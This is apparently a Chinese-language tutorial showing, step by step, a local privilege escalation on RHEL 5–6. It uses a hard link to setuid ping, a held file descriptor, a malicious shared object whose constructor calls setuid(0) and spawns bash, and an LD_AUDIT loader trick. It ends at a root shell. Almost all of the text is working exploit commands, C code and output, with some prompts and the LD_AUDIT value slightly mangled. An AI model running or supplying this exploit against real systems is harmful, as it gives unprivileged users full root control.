RHEL5-6普通用户提权
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[[email protected] ~]# whoami ##我是谁 root
[[email protected] ~]# useradd putong [[email protected] ~]# su - putong [[email protected] ~]$ whoami putong
[[email protected] ~]$ ll -d /tmp/ drwxrwxrwt. 3 root root 4096 12月 2 03:11 /tmp/ [[email protected] ~]$ cd /tmp/ [[email protected] tmp]$ mkdir ceshi [[email protected] tmp]$ ln /bin/ping /tmp/ceshi/ceshi ##创建一个硬链接 [[email protected] tmp]$ ll !$ ll /tmp/ceshi/ceshi -rwsr-xr-x. 2 root root 40760 9月 26 2013 /tmp/ceshi/ceshi [[email protected] tmp]$ exec 3< /tmp/ceshi/ceshi ##系统调用exec是以新的进程去代替原来的进程,但进程的PID保持不变。因此,可以这样认为,exec系统调用并没有创建新的 进程,只是替换了原来进程上下文的内容。原进程的代码段,数据段,堆栈段被新的进程所代替。 [[email protected] tmp]$ ll /proc/$$/fd/3 lr-x------ 1 putong putong 64 12月 2 03:19 /proc/1346/fd/3 -> /tmp/ceshi/ceshi
[[email protected] tmp]$ rm -rf /tmp/ceshi/ [[email protected] tmp]$ ll /proc/1346/fd/3 lr-x------ 1 putong putong 64 12月 2 03:19 /proc/1346/fd/3 -> /tmp/ceshi/ceshi (deleted)
[[email protected] tmp]$ vim root.c ##创建一个c语言脚本
void __attribute__((constructor)) init() ##注意;__这是两个_下划线 { setuid(0); system("/bin/bash"); } :wq
[[email protected] tmp]$ gcc -w -fPIC -shared -o /tmp/ceshi root.c ## -o 输出 [[email protected] tmp]$ ll /tmp/ceshi -rwxrwxr-x 1 putong putong 6017 12月 2 03:25 /tmp/ceshi [[email protected] tmp]$ LD_AUDIT="ORIGIN" exec /proc/self/fd/3 ERROR: ld.so: object ‘ORIGIN‘ cannot be loaded as audit interface: cannot open shared object file; ignored. Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[[email protected] ~]# [[email protected] ~]# whoami root
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